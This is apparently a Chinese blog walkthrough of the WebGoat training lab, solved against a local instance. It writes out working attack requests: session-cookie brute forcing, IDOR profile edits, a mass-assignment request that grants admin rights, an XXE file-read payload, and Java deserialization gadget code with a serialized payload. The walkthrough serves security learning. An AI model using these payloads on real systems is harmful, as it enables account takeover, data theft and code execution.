安全 - WebGoat

搭建靶场

项目地址:https://github.com/WebGoat/WebGoat

jar包部署

下载最新webgoat.jar

java -Dfile.encoding=UTF-8 -jar webgoat-2023.5.jar

访问http://127.0.0.1:8080/WebGoat

Docker部署

自动拉取镜像部署

docker run --name webgoat -p 127.0.0.1:18080:8080 -p 127.0.0.1:19090:9090 -e TZ=Asia/Shanghai webgoat/webgoat

访问http://127.0.0.1:18080/WebGoat进入靶场


关卡记录(v2023.8)

(A1) Broken Access Control

Hijack a session

题目提示预测hijack_cookie的值

点登录提示了句“Sorry the solution is not correct, please try again.”,查看响应头里有一个Set-Cookie: hijack_cookie=xxx-xxx

经过重放请求包,得到以下值

2617476023395988990-1710947318301
2617476023395988991-1710947348323
2617476023395988993-1710947355347
2617476023395988995-1710947360911
2617476023395988997-1710947368801
2617476023395988998-1710947391161
2617476023395988999-1710947591423

规律就是无Cookie: hijack_cookie=xxx-xxx每登录一次,间隔长的话前面部分数字会+1,间隔短的话数字+2(后面证明纯属错觉🤡),后面部分是个13位Unix时间戳

并没有找到什么头绪,还是直接看源码吧

搜索HijackSession/login定位到到src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java

可以看到后台调用了login()方法来处理请求

  1. 声明变量authentication,类型为Authentication
  2. 判断Cookie是否为空
    • 是:调用provider对象的authenticate方法,传入通过Authentication.builder().name(username).credentials(password).build()构建的Authentication对象,再将结果传回authentication,最后调用setCookie()方法在响应包中添加Cookie
    • 否:调用provider对象的authenticate方法,传入通过Authentication.builder().id(cookieValue).build()构建的Authentication对象,再将结果传回authentication
  3. 调用authenticationisAuthenticated()方法进行鉴权判断是否成功登录

可以看出代码主要是provider.authenticate()方法来处理认证操作,跳转到HijackSessionAuthenticationProvider.java查看

代码有点多,就不逐行解释了,大概逻辑如下:

  • 登录鉴权部分:判断id是否为空,为空生成一个id

  • 自动登录部分(authorizedUserAutoLogin):创建一个范围为(0, 1)的双精度随机数,如果大于0.75就把

ThreadLocalRandom.current().nextDouble()里面没有任何参数,看来+1还是+2纯纯看运气

那么大概思路就是在多次无Cookie登录的前提下获取hijack_cookie的值,Cookie的前半部分从哪里不连续了就说明该id已经被后台验证了,例如:2617476023395988993-1710947355347和2617476023395988995-1710947360911之间就有一个2617476023395988994获得认证了,我们需要做的就是拿这个id拼接一段(1710947355347, 1710947360911)范围内的时间戳进行爆破

BurpSuite Intruder 填入数据包

POST http://127.0.0.1:18080/WebGoat/HijackSession/login HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 33
Origin: http://127.0.0.1:18080
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://127.0.0.1:18080/WebGoat/start.mvc?username=webgoat
Cookie: JSESSIONID=I3JMXgPHur7aYAXQi8v5OAntUzb3OQg3HLfWFdkJ
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=webgoat&password=webgoat

Payload sets选择Null Payloads,Payload settings输入Generate 10 payloads,找自动授权成功的id

一堆500 Error……但是不影响,返回包里都有Set-Cookie(就是有点难按发包找id,貌似不是顺序而是并发的)

终于找到7969664700021415665-1711332744395和7969664700021415667-1711332744403之间缺了一个7969664700021415666

所以开始爆破时间戳,Intruder 填入数据包

POST http://127.0.0.1:18080/WebGoat/HijackSession/login HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 33
Origin: http://127.0.0.1:18080
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://127.0.0.1:18080/WebGoat/start.mvc?username=webgoat
Cookie: JSESSIONID=I3JMXgPHur7aYAXQi8v5OAntUzb3OQg3HLfWFdkJ
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=webgoat&password=webgoat

Payload sets选择Numbers,Payload settings Type选择Sequential,From填入1711332744395,To填入1711332744403,Step保留默认1,Number format的Max integer digits填入13,其他不用改动

为了不像刚才一样一堆500 Error,设置一下Resource pool新建一个资源池,Delay between requests设置个500 milliseconds

成功通过

Insecure Direct Object References

提示先进行身份验证再进行滥用授权,按照提示输入用户名密码tom/cat
,登录请求数据包如下

POST http://127.0.0.1:18080/WebGoat/IDOR/login HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 25
Origin: http://127.0.0.1:18080
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://127.0.0.1:18080/WebGoat/start.mvc?username=webgoat
Cookie: JSESSIONID=I3JMXgPHur7aYAXQi8v5OAntUzb3OQg3HLfWFdkJ; hijack_cookie=7969664700021415657-1711332458535
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username=tom&password=cat

响应数据包为

HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Mon, 25 Mar 2024 06:13:50 GMT

{
  "lessonCompleted" : true,
  "feedback" : "You are now logged in as tom. Please proceed.",
  "output" : null,
  "assignment" : "IDORLogin",
  "attemptWasMade" : true
}

修改密码为任意字符后响应包为

HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Mon, 25 Mar 2024 06:13:07 GMT

{
  "lessonCompleted" : false,
  "feedback" : "Credentials provided are not correct",
  "output" : null,
  "assignment" : "IDORLogin",
  "attemptWasMade" : true
}

下一节叫我们观察差异和行为

有一个“View Profile”的按钮和一个“Summit Diff”的提交表单

先点击按钮,请求路径为/IDOR/profile,响应值为

{
  "role" : 3,
  "color" : "yellow",
  "size" : "small",
  "name" : "Tom Cat",
  "userId" : "2342384"
}

但是浏览器前端却只有三项

name:Tom Cat  
color:yellow  
size:small

打开开发者工具,选择按钮找到click事件,点击会触发onViewProfile()函数

搜索onViewProfile找到如下代码,发现只对数据处理了name、color、size三项

刚好下一项提示输入两个未显示在profile的属性,输入role, userId提示正确

第4节提示以另一种方式查看自己的个人资料,并提示profile不管用

试了下/IDOR/profile2不行,提示我再试一次。备用api与之前查看个人资料的方式非常相似,只有一个区别???我怎么可能能猜到,玛德直接作弊

请求的url是/IDOR/profile/alt-path,直接搜索定位到文件src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java

原来是WebGoat/IDOR/profile/{authUserId},authUserIduserSessionData中以键idor-authenticated-user-id获取一个值,userSessionData又是UserSessionData的实例

接着找UserSessionData,找到src/main/java/org/owasp/webgoat/container/session/UserSessionData.java

没有看到存着数据,只有两个方法getValue()读和setValue()写,那继续搜索.setValue(,终于找到src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java

可以看到只写入了两个键idor-authenticated-asidor-authenticated-user-id,分别对应usernameusername对应的id

所以如果我想读tom的profile就输入WebGoat/IDOR/profile/2342384,这不就是之前请求/profile里隐藏的userId值吗?💩 上面还有一个bill的用户暂时不知道干嘛的,先验证一下tom的

好,顺利进入下一节“Playing with the Patterns”,提示要查看其他人的profile并且更改

两个按钮点了一下没反应,打开开发者工具看到是两个按钮都是提交相同的表单,{userId}并没有指定值,那把我们刚才看到的bill的id写上去

非常棒,但是对怎么改bill的color为red还是没有头绪,继续作弊(bushi

搜/IDOR/profile/看看还有什么地方用到,果然在src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfile.java发现除了刚才查看属性用的GetMapping还有一个应该是修改属性的PutMapping(看文件名就知道是了💩)

看着很简单,就是用PUT提交一个Content-Type是application/json的请求包,注解@RequestBody也是json,用户请求body提交的userSubmittedProfile类型是UserProfile,从userSubmittedProfile里面分别用调用getUserId()getColor()getRole()来判断用户和设置属性,只有color为red且role小于等于1时才会成功

UserProfile定位到src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java

调用setProfileFromId方法进行设置对应的profile,getUserId()getColor()getRole()分别是返回userId、color和role(跟之前响应包里的数据对应),那么可以构造出请求包的body是

{"userId": "2342388", "color": "red", "role": "1"}

点击提交,替换数据包为

PUT http://127.0.0.1:18080/WebGoat/IDOR/profile/2342388 HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Origin: http://127.0.0.1:18080
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://127.0.0.1:18080/WebGoat/start.mvc?username=webgoat
Cookie: JSESSIONID=I3JMXgPHur7aYAXQi8v5OAntUzb3OQg3HLfWFdkJ; hijack_cookie=7969664700021415657-1711332458535
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 50

{"userId": "2342388", "color": "red", "role": "1"}

成功过关

Missing Function Level Access Control

提示存在隐藏项目,我上来就是一套的F12大法

<li class="hidden-menu-item dropdown">改成<li class="dropdown">将隐藏菜单显示出来

发现是2个Users和1个Config,去掉重复的一个Users刚好两个

提交通过第二节

第三节让找出hash,按上一节的F12大法没有找到,突破点应该在上一章节那菜单的两个选项里?

点了一下都是404,发现居然是绝对路径,而下面的form表单是相对路径

分别删掉开头的斜杠变成相对路径后进行依次点击,全是报错。。。

看了一下报错状态码,一个是500服务器报错,一个是404报错,唯一一个比较有希望的是415那个不支持的类型

URL 报错信息
WebGoat/access-control/users type=Internal Server Error, status=500
WebGoat/access-control/users-admin-fix type=Unsupported Media Type, status=415
WebGoat/access-control/config type=Not Found, status=404
有方向了,但我不想猜,搜access-control/users-admin-fix直接定位到src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java

发现access-control/users-admin-fix居然要判断当前用户不为空且是管理员才有返回,反而是500服务器报错的access-control/users只判断了请求的Content-Type

发送数据包

GET http://127.0.0.1:18080/WebGoat/access-control/users HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: close
Cookie: JSESSIONID=I3JMXgPHur7aYAXQi8v5OAntUzb3OQg3HLfWFdkJ; hijack_cookie=7969664700021415657-1711332458535
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json

发现有3个用户的hash

HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Thu, 28 Mar 2024 07:56:51 GMT

[ {
  "username" : "Tom",
  "admin" : false,
  "userHash" : "Mydnhcy00j2b0m6SjmPz6PUxF9WIeO7tzm665GiZWCo="
}, {
  "username" : "Jerry",
  "admin" : true,
  "userHash" : "SVtOlaa+ER+w2eoIIVE5/77umvhcsh5V8UyDLUa1Itg="
}, {
  "username" : "Sylvester",
  "admin" : false,
  "userHash" : "B5zhk70ZfZluvQ4smRl4nqCvdOTggMZtKS3TtTqIed0="
} ]

随便提交了第一个发现不对

/access-control/user-hash定位到src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHash.java

发现只有Jerry的hash才行。。。提交后成功通过第三节

第五节说已经修复后了接口,让再找到Jerry的hash出来

没有思路,接着看代码吧,搜access-control/user-hash-fix定位到src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACYourHashAdmin.java

userRepository读取数据库,找到Jerry的用户信息,然后使用找到的用户信息与PASSWORD_SALT_ADMIN创建一个名为displayUser的对象,接着判断传入的userHash参数是否与displayUser对象中计算得到的哈希值相相等,如果是则返回成功,否则返回失败

接着去找DisplayUser,定位到文件src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java

只能看到hash的生成方法,没有什么收获。。。退回去看看userRepository怎么读取数据库,能不能插入或者更新数据库

src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java

果然除了查找Jerryn用户信息用到的findByUsername()方法还有一个save()方法,并且可以插入数据库

查找save()发现被MissingFunctionACUsers.java调用了,兜兜转转又回到最初的起点,而且刚好

按照User.java给他传入usernamepasswordadmin

构造数据包(username为webgoat的登录名,调用WebSession.getUserName()进行读取的)

POST /WebGoat/access-control/users-admin-fix HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://127.0.0.1:18080/WebGoat/start.mvc?username=webgoat
Cookie: JSESSIONID=z6IiRS_yduOKLC52XVzPXdX-S8JXxe5--FAgRtpR
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 54
Content-Type: application/json

{"username": "webgoat", "password": "", "admin": "true"}

发送成功后接着请求/WebGoat/access-control/users-admin-fix,响应包如下

HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Date: Sat, 30 Mar 2024 16:28:20 GMT

[ {
  "username" : "Tom",
  "admin" : false,
  "userHash" : "RIbP+ltDVkKRPGe5qYGkVCjj/BtjNcryiYhlT+ejD/s="
}, {
  "username" : "Jerry",
  "admin" : true,
  "userHash" : "d4T2ahJN4fWP83s9JdLISio7Auh4mWhFT1Q38S6OewM="
}, {
  "username" : "Sylvester",
  "admin" : false,
  "userHash" : "iBy1RDvLrUMMpMJHjQsLm/5FLN07NnBtdlOFc845j+A="
}, {
  "username" : "webgoat",
  "admin" : true,
  "userHash" : "/s4kv6vFMoEdMEokiXrLZqHzXMzYeNrzz0zFTDbD5kk="
} ]

输入Jerry对应的userHash,成功过关


(A2) Cryptographic Failures

Crypto Basics


(A3) Injection

SQL Injection (intro)

SQL Injection (advanced)

SQL Injection (mitigation)

Cross Site Scripting

Cross Site Scripting (stored)

Cross Site Scripting (mitigation)

Path traversal


(A5) Security Misconfiguration

XXE

提交评论,数据包如下

POST /WebGoat/xxe/simple HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 59
Origin: http://127.0.0.1:18080
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://127.0.0.1:18080/WebGoat/start.mvc?username=webgoat
Cookie: JSESSIONID=MusTplZP1Qd_xm7VDyCVgcAWO0rlKT4DBFri5h7F
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

<?xml version="1.0"?><comment>  <text>test</text></comment>

搜索/xxe/simple定位到
src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java

接收所有类型参数,然后parseXml()尝试使用xml格式读取,调用checkSolution()进行判断系统类型,如果是Linux就匹配usr、etc、var(对应根目录),Windows的就匹配Windows、Program Files (x86)、Program Files、pagefile.sys(对应系统盘根目录)

POST /WebGoat/xxe/simple HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 115
Origin: http://127.0.0.1:18080
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://127.0.0.1:18080/WebGoat/start.mvc?username=webgoat
Cookie: JSESSIONID=MusTplZP1Qd_xm7VDyCVgcAWO0rlKT4DBFri5h7F
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

<?xml version="1.0"?><!DOCTYPE text [ <!ENTITY js SYSTEM "file:///">]><comment>  <text>&js;</text></comment>

顺利通过

然后发现第六节有第五节的答案。。。

数据包如下

POST /WebGoat/xxe/content-type HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 15
Origin: http://127.0.0.1:18080
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://127.0.0.1:18080/WebGoat/start.mvc?username=webgoat
Cookie: JSESSIONID=eMqXJ6pDmhlC0MuEIP5VGFo2feqFLKq1ElM39rOk
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"text":"test"}

先看第七节,果然有答案

老样子看看源码

首先判断content-type为json将尝试用parseJson()读取内容,读取成功则直接失败,如果content-type非空并等于APPLICATION_XML_VALUE(application/xml)则尝试用parseXml()读取内容,并调用checkSolution()方法判断是否包括当前系统根目录的文件、文件夹

改下Content-Type轻松过第七节

第11节标题是blind xxe,参照第10节的“blind xxe”

但是我的WebWolf不知啥原因上传任何文件都是500 Error

看看WebGoat源码怎么判定的


(A6) Vuln & Outdated Components

Vulnerable Components


(A7) Identity & Auth Failure

Authentication Bypasses

Insecure Login

JWT tokens

Password reset

Secure Passwords


(A8) Software & Data Integrity

Insecure Deserialization

根据给出的例子代码修改下,保存为VulnerableTaskHolder.java,就得到了一个测试样例

import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;


public class VulnerableTaskHolder implements Serializable {

    private static final long serialVersionUID = 1;

    private String taskName;
    private String taskAction;
    private LocalDateTime requestedExecutionTime;


    public VulnerableTaskHolder(String taskName, String taskAction) {
        super();
        this.taskName = taskName;
        this.taskAction = taskAction;
        this.requestedExecutionTime = LocalDateTime.now();
    }
    

    private void readObject( ObjectInputStream stream ) throws Exception {
    //deserialize data so taskName and taskAction are available
        stream.defaultReadObject(); 

        //blindly run some code. #code injection
        Runtime.getRuntime().exec(taskAction);
    }
}

序列化步骤

  1. 创建一个对象
  2. 创建一个XX输出流(根据需求选择,临时可以ByteArrayOutputStream,持久化可以FileOutputStream),用于将序列化的数据写入
  3. 创建一个对象输出流ObjectOutputStream
  4. 使用对象输出流ObjectInputStreamwriteObject()方法将对象序列化写入到XX输出流中
  5. 关闭对象输出流
  6. 关闭XX输出流

反序列化步骤

  1. 创建一个XX输入流,从输出流或者文件中读取数据
  2. 创建一个对象输入流ObjectInputStream
  3. 使用对象输入流ObjectInputStreamreadObject()方法将数据进行反序列化
  4. 关闭对象输入流
  5. 关闭XX输入流

以下为一个简单的反序列化例子

import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
  
public class Test{  
    public static void main(String[] args) throws Exception{  
        // 序列化  
        VulnerableTaskHolder vulnObj = new VulnerableTaskHolder("test","touch 1.txt");  
        FileOutputStream fos = new FileOutputStream("test.ser");  
        ObjectOutputStream oos = new ObjectOutputStream(fos);  
        oos.writeObject(vulnObj);  
        oos.close();  
  
        // 反序列化  
        FileInputStream fis = new FileInputStream("test.ser");  
        ObjectInputStream in = new ObjectInputStream(fis);  
        in.readObject();  
        in.close();  
        fis.close();  
    }  
}

不存储为文件的例子

import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
  
public class Test {  
    public static void main(String[] args) throws Exception {  
        // 序列化  
        VulnerableTaskHolder vulnObj = new VulnerableTaskHolder("test","touch 1.txt");  
        ByteArrayOutputStream bos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(bos);  
        oos.writeObject(vulnObj);  
        oos.close();  
  
        // 将序列化的数据转换为字节数组  
        byte[] serializedData = bos.toByteArray();  
  
        // 反序列化  
        ByteArrayInputStream bis = new ByteArrayInputStream(serializedData);  
        ObjectInputStream in = new ObjectInputStream(bis);  
        in.readObject();  
        in.close();  
    }  
}

执行完会发现目录下新建了一个1.txt代表成功了

如果想通过java.lang.Runtime.exec()进行更多的操作,比如拿shell,直接用bash反弹shell是不会有反应的

这是因为重定向和管道字符的使用方式在启动过程的上下文中没有意义。例如,ls > dir_listing 在 shell 中执行应将当前目录的列表输出到名为 dir_listing 的文件中。但是在 exec() 函数的上下文中,该命令将被解释为获取 > 和 dir_listing 目录的列表。

有时,StringTokenizer 类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。诸如此类的东西 ls "My Directory" 将被解释为 ls '"My' 'Directory"'

用zgao师傅的java.lang.Runtime.exec() Payload编码工具可以快速对payload进行编码

继续下一页,复制上面base64字符串提交后提示

That is not the VulnerableTaskHolder object. However a plain String is harmless. Let’s try again with the right object.

查看提交的路径是/WebGoat/InsecureDeserialization/task,在WebGoat源码搜索@PostMapping("/InsecureDeserialization/task")定位到src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java

大致流程如下:

  1. 声明变量b64token、before、after、delay
  2. 对传入的token参数进行处理(替换-为+,_为/)并赋值b64token
  3. 尝试将base64解码后的token写入字符数组输入流ByteArrayInputStream并传入对象输入流ObjectInputStream
  4. 获取时间现在时间保存为变量before
  5. 调用对象输入流ObjectInputStreamreadObject()方法进行反序列化
  6. 判断对象o如果不是VulnerableTaskHolder的实例或者是String的实例就失败,否则继续执行
  7. 获取时间现在时间保存为变量after
  8. 用after减before,判断如果时间在[0,3)∪(7, +∞)内就失败,否则成功

顺便看下这里引入的VulnerableTaskHolder会发现跟刚才给出的有些地方不同

例如限制了命令开头必须是sleep或者ping开头,长度要小于22等等

知道流程后开始编写代码生成payload

package org.dummy.insecure.framework;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Payload {
    public static void main(String[] args) throws Exception {
        VulnerableTaskHolder vulnObj = new VulnerableTaskHolder("sleep","sleep 5");
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(vulnObj);
        String payload = Base64.getEncoder().encodeToString(bos.toByteArray());
        bos.close();
        oos.close();
        System.out.println(payload);
    }
}

保存文件为Payload.java,放到WebGoat目录src/main/java/org/dummy/insecure/framework/下

javac Payload.java VulnerableTaskHolder.java

然后WebGoat目录/src/main/java/下执行

java org.dummy.insecure.framework.Payload

得到payload

rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2t  
BY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfoAxQCBDott33AeHQAB3NsZWVwIDV0AAVzbGVlcA==

提交payload成功过关

如果不使用WebGoat源码中的VulnerableTaskHolder.java则要保证VulnerableTaskHolder类结构相同并且包名与一致,这是因为包名也是类的重要组成部分

代码相同,包名不同,payload也不同

生成Payload的代码包名如果与WebGoat中的不一致会返回insecure-deserialization.invalidversion错误,并提示

The serialization id does not match. Probably the version has been updated. Let’s try again.


(A9) Security Logging Failures

Logging Security


(A10) Server-side Request Forgery

Cross-Site Request Forgeries

Server-Side Request Forgery


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 cnlnnn@qq.com

文章标题:安全 - WebGoat

字数:5.5k

本文作者:cnlnn

发布时间:2024-03-15, 08:35:00

最后更新:2024-09-11, 01:42:27

原始链接:https://cnlnn.pages.dev/posts/webgoat/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。